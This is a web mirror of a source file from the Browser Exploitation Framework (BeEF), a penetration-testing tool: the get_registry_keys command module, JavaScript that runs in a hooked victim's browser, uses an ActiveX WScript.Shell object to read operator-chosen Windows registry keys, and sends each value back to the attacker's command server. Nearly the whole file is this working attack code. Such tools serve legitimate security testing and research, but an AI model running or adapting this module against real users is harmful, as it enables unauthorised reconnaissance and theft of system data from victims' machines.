Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_registry_keys/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var internal_counter = 0;
10
var timeout = 30;
11
var result;
12
var key_paths;
13
14
function waituntilok() {
15
try {
16
var wsh = new ActiveXObject("WScript.Shell");
17
if (!wsh) throw("failed to create registry object");
18
else {
19
for (var i=0; i<key_paths.length; i++) {
20
var key_path = key_paths[i];
21
if (!key_path) continue;
22
try {
23
var key_value = wsh.RegRead(key_path);
24
result = key_path+": "+key_value;
25
} catch (e) {
26
result = key_path+": failed to retrieve key value";
27
}
28
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values='+result);
29
}
30
}
31
return;
32
} catch (e) {
33
internal_counter++;
34
if (internal_counter > timeout) {
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=Timeout after '+timeout+' seconds');
36
return;
37
}
38
setTimeout(function() {waituntilok()},1000);
39
}
40
}
41
42
try {
43
key_paths = "<%= @key_paths.gsub!(/[\n|\r\n]+/, "|BEEFDELIMITER|").gsub!(/\\/, "\\\\\\") %>".split(/\|BEEFDELIMITER\|/);
44
setTimeout(function() {waituntilok()},5000);
45
} catch (e) {
46
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'key_values=malformed registry keys were supplied');
47
}
48
49
});
50
51
52